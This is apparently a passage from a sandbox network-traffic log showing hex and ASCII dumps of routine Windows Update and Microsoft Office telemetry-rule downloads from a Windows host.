2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-24 09:23:25 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPyVaKnKCexkNSH&MD=pMe5LR7n HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 09:23:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 08f6c82a-271b-4249-a6b0-15839807fa09 MS-RequestId: 7ede6241-9ea1-4fe7-abf5-fff7ddeb117c MS-CV: 5+ad8PfciEWL2L8T.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 09:23:25 GMT Connection: close Content-Length: 24490
2024-11-24 09:23:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 09:23:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:27 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092327Z-178bfbc474bw8bwphC1NYC38b400000005k0000000007nyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:27 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092327Z-174c587ffdfmlsmvhC1TEBvyks00000004b000000000c237 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:27 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:28 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:27 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 81ad4c47-c01e-002b-334a-3d6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092327Z-174c587ffdfgcs66hC1TEB69cs000000041000000000e5cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:28 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:27 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092327Z-174c587ffdf6b487hC1TEBydsn000000041000000000p8s7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:28 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:27 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092327Z-178bfbc474bmqmgjhC1NYCy16c00000005t0000000009g9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:28 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49714	13.107.246.63	443

